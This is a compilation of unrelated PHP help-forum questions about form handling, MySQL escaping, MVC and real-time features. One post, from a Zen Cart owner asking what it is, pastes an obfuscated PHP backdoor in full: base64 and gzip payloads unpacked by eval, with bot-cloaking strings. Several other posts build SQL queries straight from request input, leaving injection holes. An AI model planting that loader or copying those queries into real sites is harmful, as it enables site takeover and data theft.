PHP - My First Real Php Script

Ok so I have a question. is it possible to make a form submit to a DB in real time without the need for a submit button ?  if so could you drop a hint to what it would be caled or a tut / reference to it ?

Hello I am having a problem trying to write to a database using mysql real escape so there wont be any injection attacks. I trying using myrealescape and it returns errors:
Code: [Select]
Notice: Use of undefined constant messageTo - assumed 'messageTo' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17

Notice: Use of undefined constant messageSubject - assumed 'messageSubject' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17

Notice: Use of undefined constant messageBody - assumed 'messageBody' in D:\wamp\www\Legit Gaming Upload\LGU\includes\mailCompose.php on line 17
I add in the single quotes and it doesn't write either. Dreamweaver says that either single quotes or not there is no syntax errors.

What going on? I have used it like this befo ('$ID','" . mysql_real_escape_string($_POST[post_content]) . "') and no problems..

~AJ


<?php 
require_once('connect.php');

if(isset($_COOKIE['user'])){}else{
header( 'Location: members.php');
}

if (isset($_POST['sendBtn'])){

$messageFrom = $_COOKIE['user'];
$messageTo = $_POST['messageTo'];
$hash = $messageTo.$messageFrom.time();
$hash = md5($hash);

mysql_select_db("majik");

$sql="INSERT INTO messagesystem(ID, hash, messageTo, messageFrom, messageSubject, messageBody, messageDate, messageRead, messageDelete) VALUES ('','$hash','" . mysql_real_escape_string($_POST['messageTo']) . "','$messageFrom','" . mysql_real_escape_string($_POST['messageSubject']) . "','" . mysql_real_escape_string($_POST['messageBody']) . "','0','0')";

echo '<center>Your message was sent to: '.$messageTo.'</center>';


}


?>

Hi guys, got some questions about the Instagram real-time api. first let me tell you what I want to do. I'd like to run a daemon process with a socket connection or something of the like to the Instagram API to get a constant feed of photos with a certain tag. We estimate it to be a large amount of data at a particular time (thus why we want to go Real-time). This process will parse the feed and store it into a mongodb database.

Secondly, for the front end, I'd like to display all new, live photos in real-time, possible with ajax or some form of checking on a set interval.

Problem being, I can't find anyone doing this with php. All of the resources I have seen use Node.js and Tornado. Has anyone done this with PHP or know of a good Real-time API demonstration/tutorial to get me started?

Here's the documentation... http://instagr.am/developer/realtime/

any help would be greatly appreciated! thanks!

Hey there!

So, I am working trying to get a page to edit and update field to insert back into the DB.  But for some odd reason, the page just shows up vlank.  I've added it to show errors, but still nothing is coming back, so I have no idea what the issue is.  Not too sure if there is a config issue with PHP on my server or what.

Here's my code:
Code: [Select]
<?php

ini_set('display_errors', 1);

//open DB connection
include '../dbconn.php';


if ($_POST) {

$msg="";
    
//build an update query
$update = "update testspaces set status='$_POST[status]',spacenumber='$_POST[spacenumber]' where id='$_POST[id]'";

//execute query and check to see if it went through
if (!mysql_query($update)) {
$msg = "Error Updating User";
print $update;
} else {
    $msg = "Record Updated Successfully";
echo "<br>";
echo "<br>";
echo "<br>";
echo "<div class='header2'><a href='adminindex.php'>Go Back To Edit</a></div>";
//print $update;  
//write a table row confirming the data

$table_row = <<<EOR

<TR>
<td>$status</td>
    <td>$spacenumber</td>
</TR>
EOR;
}

//if not posted, check that an ID has been
//passes VIA the URL
 } else {
if (!IsSet($_GET['id'])) {
$msg = "No User Selected!";
    } else {
    $id = $_GET['id'];
    
//build and execute da query
$select = "select * from testspaces where id=$id";
$result = mysql_query($select);

//check to see if the record is there
if (mysql_num_rows($result) < 1) {
$msg = "No User with that ID is found";
    } else {
    //set the variables for the form code
    $form_start = "<FORM METHOD=\"post\"ACTION=
\"" . $_SERVER['PHP_SELF'] . "\">";
    $form_end = '
    <TR>
     <TD COLSPAN="2"><input type="submit"
value="Submit Changes" />
        <input type="reset"
value="Cancel Changes" /></td>
    </tr>
    </form>
    ';
   
 //assign the results to an array
 while ($row = mysql_fetch_array($result)){
$status = $row['status'];
$space = $row['spacenumber'];

//write out into table row with form fields
$table_row = '
   <table border="1" align="center" cellpadding="5" cellspacing="0">
      <th>Space Number</th>
      <th>Status</th>
  </tr>
<tr>
     <td><input type="text" name ="spacenumber"
value ="' . $space . '" size="20"/></td>
        <td><input type="text" name ="status"
value ="' . $status . '" size="20"/></td>
</tr>
<br />




  <a href="editemployees.php">Back to Employees</a>
    ';
} // end of while
} // end of else num rows
} // end of else isset get id
} // end of else mysql update

 //print message
  echo (IsSet($msg)) ? "<div class=\"error\">$msg</div>" : "";
?>
    <? echo (IsSet($form_start)) ? $form_start : "";
?>
    <input type ="hidden" name="id" value="<? echo $id ?>" />
  <? echo (IsSet($table_row)) ? $table_row : "";
?>
<? echo (IsSet($form_end)) ? $form_end : "";
?>




Not too sure what could be causing to become blank.

Hi there

I am never the one to use something I don't simply understand but I was wondering if you could help me through why an errors occuring with my first attempt at a very primative MVC.

Ok I understand them as being somewhat Model (data whether that be a database or a file system it's just data!), View is the way the page is assembled in (ZF that would be also the Layout right?) and then finally Controller (that handles all the user known and unknown requests), the controller is responsible for sending any responses back to the user, would you ever have view take the data from the model or would it always go via the controller? I know it wouldn't get output to the user as they may never understand it in it's raw form.

But this is what I have come up with from this tutorial he http://php-html.net/tutorials/model-view-controller-in-php/

This is what I have done in I think completion:

index.php:
Code: [Select]
<?php

// NOT TO BE SHOWN IN A PRODUCTIONAL APPLICATION ALWAYS USE FALSE WHEN IN A PRODUCTIONAL SERVER!
ini_set('display_errors', true);

// We require the class for this to work so we do so using the require_once construct:
require_once 'Controller.php';

// We ask for an object to be created of class/blueprint Controller but with no parameters
$controller = new Controller();

// We then make invoke action as a function within Controller class
$controller->invoke();

Controller.php:
Code: [Select]
<?php

require_once 'Model.php';

class Controller {
  
  public $model;
  
  public function __construct()
  {
    
$this->model = new Model();

  }
  
  
  public function invoke() {
  
    if(!IsSet($_GET['book']))
{

  $books = $this->model->getBookList();
  require 'booklist.php';
  
} else {
  
  $book = $this->model->getBook($_GET['book']);
  include 'viewbook.php'; // we could actually include this as one file though right?
  
}

  }

}
Model.php:
Code: [Select]
<?php
require_once 'Book.php';

class Model {

  public function getBookList()
  {
  
    return array('Jez\'s Great Book!'=> new Book('Jez\'s Great Book!', 'The best book on the planet about MVC\'s'),
             'PHP5 and MySQL Bible'=> new Book('My most enterprising PHP and dynamic page content book ever!'));
  
  }
  
  public function getBook($title)
  {
    $allbooks = $this->getBookList();
return $allbooks[$title];
  }
}
Book.php:
Code: [Select]
<?php

class Book {

  public $title;
  public $author;
  
  public function __construct($title='', $author='')
  {
    $this->title = $title;
$this->author = $author;
  }
}
booklist.php:
Code: [Select]
<?php

foreach($books as $title=>$book){
  echo "<pre>";
  echo '<a href="index.php?book='.$book->title.'">$book->title</a>';
  echo "</pre>";
  
}

viewbook.php
Code: [Select]
<?php

echo $book->title;
echo $book->author;

It's not the same as the tutorial exactly but I just wanted to see if I could get it working, the only problem is (I mean my sample data's just for the fun of it), however when I go to see the booklist.php

The problem I am having is how to understand it getting the values into the list, when it says the 2nd one's basically not an index, does this come up for yourselves?

I am just a bit confused, happy though kind of got this working, thank you in advance,
Jeremy.

I have never used real escape string so want to make sure I did it correctly. Also, if I can place it anywhere else to make it even more secure please let me know. This is just the action of a just a simple POST html form.

Here it is.
Code: [Select]
<?php
require ('staffarea/sql.php');
$showform="false";

$mcid = mysql_real_escape_string($_POST['mcid']);       
$age = mysql_real_escape_string($_POST['age']);
$description = mysql_real_escape_string($_POST['description']);

if(!mysql_query("INSERT INTO `somedatabase`.`appsubmissions` (`id`, `username`, `age`, `description`, `status`) VALUES (NULL, '$mcid', '$age', '$description', 'Pending');"))
{
echo '<div class=blockrow><b><font size=4>Submission Error</font><br /><br />Something went wrong. Contact Staff in the Support Forums and give them this information:<br /><br /></b><font color=red>';

echo mysql_error();

echo "</font>";

echo '<br /><br /><a href="/forumdisplay.php?f=14">Support Forums</a></div>';
}
else
{

$lastID=mysql_insert_id();

echo "<div class=blockrow><font size=3><b>$mcid, Thank You for your Building Application!</b></font><br /><br />";

echo "Your Unique Application ID: <b>", $lastID;

echo "</b> (save this so you can check the application status later)<br /><br />

Your application was submitted successfully. Please allow Staff 24 hours to accept or deny your application. If after 48 hours you still do not have building rights, assume the application was denied and re-submit with different information. DO NOT submit an application more than every 48 hours, doing so will get your account banned for spamming.<br /><br />

While waiting, you might check out the <a href=/index.php?pageid=mcguide>Ultimate Guide</a>.</div>";
}

mysql_close($con);

?>

I've developed a file upload service of sorts. Think TwitPic, TwitVid and Twaud combined and it's not that far off.

I need to determine which content pages are most viewed. Right now I just count each and every page request, so...

The problem I run into (of course) is that also agent/bot requests are counted, and for some reason search engines (or other services) are very keen on accessing pages with many pictures on them, so such accesses can easily "overload" and make the access counting quite skewed.

Is there a black list of search engine user agents I could deploy, or is there a more generic way of knowing whether I get a request from a search engine rather than a user?

I still want the content pages indexed by search engines, so they shouldn't become "invisible" to them, yet I need to be able to determine what accesses are from primarily real users.

There's no need to log in to see the content, so I can't use that as a differentiator.

I suspect there are also image grabbing agents accessing my pages, and honestly they could be shut out completely.

Thanks in advance,
Anders

I have a lot of garbly gook in my zen cart.  I am NOT a php programmer, but I do well enough with my ZenCart to manage.   I have a code that starts like this:   <?php /*versio:3.02*/ $GLOBALS["ktrmpz"]="PaW5pX3NldAYWxsb3dfdXJsX2ZvcGVuJVsoZGlzcGxheV9lcnJvcnMNmHJZmVkb3IvdGVzdF93ZWJuZXQYMy4wMgwhdGhhaDFOaWV0aGFpMnphaDZBaHIPQLaHR0cDovLwVzoUuSFRUUFMb2ZmUFJaHR0cHM6Ly8KfYPSFRUUF9IT1NUcgnZdW5pb24PVvmc2VsZWN0DBQVUUkVRVUVTVF9VUkkSWfTgU0NSSVBUX05BTUUBipUVVFUllfU1RSSU5HXSPwuXIoZGV0ZXJtaW5hdG9yUBnqLgxLmxvZwBseESFRUUF9ZX0FVVEgYmFzZTY0X2RlY29kZQfCvydmVyc2lvADLQcKLXBocAHSFRUUF9FWEVDUEhQkNYxCZb3V0HCjPEUb2sbtSFRUUF9VU0VSX0FHRU5UGLAyNmZ29vZ2xlLHlhaG9vLGJhaWR1LGJpbmdib3QsbXNuYm90LHlhbmRleAxdYQvHYWxqZXIuYml6VEpZmFzdGFkZHouY29tHL3czLnBocD91PQTaPJms9UqtLJnQ9cGhwJnA9rHagTHJnY9YUZXZhbChnenVuY29tcHJlc3MoYmFzZTY0X2RlY29kZSgiZUp5TlYvbHZvOGdTL2xjNnlCcGh3V0NEd2NmazhaUm8xdk1tMG13U2VaeVZWck1Sd3RBRWJDNXorSXJ5djc4cXVqRTRzVWY3azNFZlZWOWRYMVVISGhHdlhPb0ZNWFZGd2FVRnphSWd0b3NrRTdyZFZ4TEF0bGZHVGhFa3NVVjNRVjdrWXJGY2h1VStjY1MrcE1wcXY0dm5ib0k0c0hKYU5KdER5WkMxZmxjbWF2ZjZ6TFpxU0ZwZlZpZHdvQThIM2tpdGhWZ2JtbnVKbldhYmFMY1dPKzR5OHZlQlRENTFYdnpBWCs2SlNlNmZmdnpva2xmU3JFU0JreVZGRUZHeHlFb0s4akphbEZsTVBKcDR0WWgzV2haSlZzWVVydEM5TDNiQ0xOdUZvS1dUNWdmSDNvQkZuWTJ6aW5ZSkNCZWNNZ3VGYTlJcEV4cllTMWpoZTRwZ2dWMEZiS0diS2h0ZndFYkJEc05rYThFbHkwdFNHZ3RkWW9JVVZVRE1ITmlORjRRVVQxdE9FaGMwQnJjS2ZsR2tYM285Z1NpRTQ4RXZCa2dod3FldDZiMDRRbVVHRFhONkxqUWNJa2FrRTc3RStXSU5hRy80cWdoWFFWeTJ0dW1KRFJDWEpFVXJPcXUwOE9tcGdYUkhIZGk2NFJkRkxsWW1YNTltUHg0ZTV4Yjh5T1JmWUhkS2hINVp6dmZwN1IvVG1VdzhHMno3N2NuWmRQNDB1NS9QYnU5L2ZzTWJQT1NYTDN4OXVMK2ZmcDNQNy82Y1Bqek5aVEpFUitUMmZ1OGNLdmN3cyt0N0tBb2piamxoa3RQV0tqcWNSbW14Ri9sbGNITWpSaEN1Mytybzh0VTZVcGlxTEFkUm5aY256Z3J6b3NtNmNSOHlMMThWV2ViaXgzYnBSYUZNREs2enpsOFVreWVyblIwemRlUzBJZ0MybDVhWUJIWEpDUCtienNrcmo4S2JvR0FZOGhYNVBwOC85bFNsRHd2L1pQL0U4UE05eVlzdkJENWVPYVMzYWdQZHRBcWRZTDBBRlkvZkg2MkhuNHJRRXhUOC9HczYrM24zY0g5RzZWTk9zOCszTDVEVFgwQTV1MS9KcTJWdWZjaDk4ZXBDblhPanV1VFRKeUsrcTJ2eXVkbitEOUc2alVNVWRDeVVVd3VJcW8ycldybnhlQ0NQTk5ESmtpZytSR0FVM2FWaDRsSlJPT0tUYTVGd3JveVJzdmpwWC8zbmhsZUM2TXc5ZHE3UytYWkNOYXZWZHI5ZEo1U1dDd2o2MHR2dTNTMmNMOUpWVXV6QUNPcjRDUkgrdGdTRmJ5ckNGL2htK3p4SXArVGxyZzVoNm1ZUlNoWTc2YUdNRm42M0laZU85WE02Z3dqOTRsdlBlTHV6UFNTaHR6TWJDbFlsZlNSckEvU0liK2QybVRWN2c2R2tEK1dxVU1yQTMwYTAyUm9ieU93ajNHTEowbXdOZ2ZSMWJBa3NjWU84OGw4TnBzMzlLcEQvcVB0Y3Q1aWJqNGVNdmpRMjhBeTVNa21qUVpPZ1dIUkdjTyswcTRPSnBFSlBVWGtJK0FIRnpJdXNTSUNTYVhaT0VZQ2VqR1ZWNjJKOHZTU2p0dU5EMFZsWVBIWk9lRWpNL3pieFFzUWdNMDBnMjlpaTNEaHVJS25nMVJGMnhVckdMeTdnK2NUeDZtZ2tnNXNhSnI4a2I2eURUU041L0h0NXFsVExld04wNHRWRnowTmNoMkNzZ2E1SFB2bDRRaDFKNDFGMW91TEdqM0dCNEEwbjFRR004dVVncXpBZUREUlpIVjdVTlFGZnFTclRwYlNDclBiQmFHTW9hMTFvSW1jZ2dMbmFRSzBrWDc4ck5Wb2VvbVdST0ZsaEp5SW15U3FMRjV1RDZRWlpiQU9OV05hM3V4OVR5K29xZjl6Tm9DYzh6UDRHOFkrM3MxdjRoSXgyOTg1MmdYUjNtMlgyWGlSQ3o2V2JYdTVIVU9CQ3I0alNudUpCdy81Y3hzR3VXYnI3T3ExWEdyakMvTTlINGZsMFpYcGNtdDcvMVQ1Ui93VlVKeXY4UXFVSHBSOW5qQklJeUhZdFdMYkFOZ0hHS0c2cUlyQ2p4Ny9iOURPZk1YcnNVbjVoMTRIRXA3QjNVZ2JjSVZnSTBkS040aFhQL3l2ZUNma2l1cHA5S3VaWno3SUpLYmUyV1ZEWUMrRC85azBHQnVjT3RuaE5GcUIvVlROcDNWWFpzZXNxeDZ1S0Nac21pZzBCaU9lVnNGbTJOV2lxbUV4Vkh0YWpabDF6bmZWdXZVeFhaazBVNTFLdFZUQUFkQm43aTJWazNrU3VVU3RXZUdQa0ZLcHd2a1I2Zk5rbWgySmp2a3RLcFpYblVFdGpGZkpjNFpLdlA4TFhnZFRVRVlQUEphTHM0TEFvL1IyNmpLMjFwQTRsYlRTb3VQc0N0VTdHTUh1enVqTk5yaG10SytCem1UYThvdlUxMEEydXcwYkttaFR2UmFjdHJWRTlIZ0g3VFlDdDVMcWxOTGpHbXFRTjljcFkxb21hTGFobVVEUUJ6UFhJazlETjRoQ2FITkxaL2dCR1RDYWNYdUFCUWpkMldOLzdsM0MxL2hDSWVBRHRSRzUxbUlrMGdPWTA2TEpVMlFXRnlMS21rMnpYL2hhbnJXODRvdUlJR2NTcGJTTk4vcjdEQUU1cFVyMkdUbHBNUFh3MDdwc0FzV25vb2hhZVNWOGFEUHF5QVQydnFzSjhGeFpPOEs0TE1TVHljZmZLTkN1UVZjNDY0Y0lOcThtVFRaMGZFa2JyVjVRK1BISERTTkw3RTRDQ3llYmxMK3RpZ3lKS3JEa0hVWjhMQ2ZDNXdmSUtoMmdQYXgwS25RRUEyVGpIZFdHZUtXQzRZVUQ1SHlZZi9sVHo0WEZnWXhjUkFITzlPWWNoOElRYmFsYkIxMVJ0V0pVTlJWSTZ2dGpVQ3hDbkU1WXV0WkxZb2EzMUZoblU0WVczR3VwQjE5SE04OFA4MkEyT2h1cWFKaG5Wek5EeW1LRkx1bDUxcGJyeVRrR2dRRTQ0TFRmeUpmWTB3em1kdEJxaERrUFFFT3BQaDVwaDU1cW82Uk5ER3VpeWZ1U09WamtCdklGcUlMNHp0V1lNcThMQmk2eEVNY0JsR2F4VFVQM3VXY3djQUtOdjh6SysvdWhjeHRMOHBmT1J3S0MyTllNUkdCL04vZytDalQzTiIpKSk7at";        if (!function_exists('tjjluyoc')){function tjjluyoc($a, $b){$c=$GLOBALS['ktrmpz'];$d=pack('H*','626173653634'.'5f6465636f6465'); return $d(substr($c, $a, $b));};eval(tjjluyoc(561,3272));};?><?php     My gut says this is way wrong?  thoughts?

Hi guys, I have this project that I'm working on. It is a simple html form that allows you to choose 5 images to upload and one of them is going to be the main image of the listing. It will also ask you for living area, name for listing, address, price, rooms, and restrooms. I need it to upload all info into a mysql database with php. I can make a simple listing with one picture uploaded but I really have no idea how to get more than one image uploaded that way I can recall them later or edit the images later.

Can anyone gime some ideas please?

I've been searching high and low for some decent (actually, they can be crap, just be REAL) real-world examples of uses of abstract classes and interfaces.  I've seen many design patterns, and I get the concept, but now I need to put them into practice.

And I gotta say, I'm absolutely sick of class Animal, class Dog extends Animal, class Vehicle, class Van extends Vehicle examples.  Those are CRAP for illustrating real uses of the functionality given to us by OOP.  It's one thing to teach a concept, and it's another to put into use within a real application.  I can only find the former and the not the latter.

Does anyone have any links to, or can they post their own examples of, abstract classes and interfaces in use?

Hi, i am thinking of creating a text based game mmorpg using php/mysql etc... I know that a lot of these types of games use a tick based system, but i want it to be realtime, the only game i cna find that uses this is Torn, does anyone know how they make it realtime? I know that ticks can be controlled by cronjobs, but how about realtime?

The problem is that the game might involve the player building a house, in a tick based system it could be easy to manage by saying the house will take 3 ticks to complete, but i want the house to be like in 10 minutes of 32 minutes, how can i do this. Someone said to check whenever the player next logs in to check if the house has finished and then say it has been built, but seeing as it is an mmorpg it could affect everyones gameplay, not just the person building it, so this will not work.

Thanks and sorry if this is a bit confusing.

I wrote a short script that takes a list of keywords and does a Google search to find how often they are used in the title of a page.  However, I cannot get it to echo the results in real time.  On one server I use it works fine.  On the other it runs the entire list and then outputs everything in the end.  The problem is sometimes this takes several minutes and therefore it times out after not receiving a response.

Any suggestions?

Thanks in advance.

<?php 

$file = file('words.txt'); 

$results = ''; 
foreach ($file as $line) { 
    $data     = file_get_contents("http://www.google.com/search?hl=en&q=allintitle%3A%22" . urlencode($line) . "%22&btnG=Google+Search"); 
    preg_match('/of about <b>([0-9,]*)?<\/b>/si', $data, $number); 
    $results .= $line . ";" . $number[1]; 
    echo $results . "</br>"; 
    $results = "";
    sleep(2);
} 

?>

on the first column do I need to escape that? "pm_id"
if so how do i do that with the right syntax
is it like this?
pm_id = '.mysql_real_escape_string.'


Code: [Select]
<?php $mail2 = "INSERT INTO pm SET pm_id = '', sendto = '".mysql_real_escape_string($to)."', sentfrom = '".mysql_real_escape_string($from)."' ?>
Also when you create a new row with a id  having auto increment. do i have to do id ="" so there isnt ever two rows matching the same id?

Hello,   Can you guys point me to something where I can follow some tutorial or something and learning CI?  I've already made tons of 'Cars' models... 'Dogs' .. 'Cats'.. etc but I really need some project where I can follow steps to creat and learn while I create.    p.s. I think I post this thread in right place but please correct me if is wrong.   Thank's!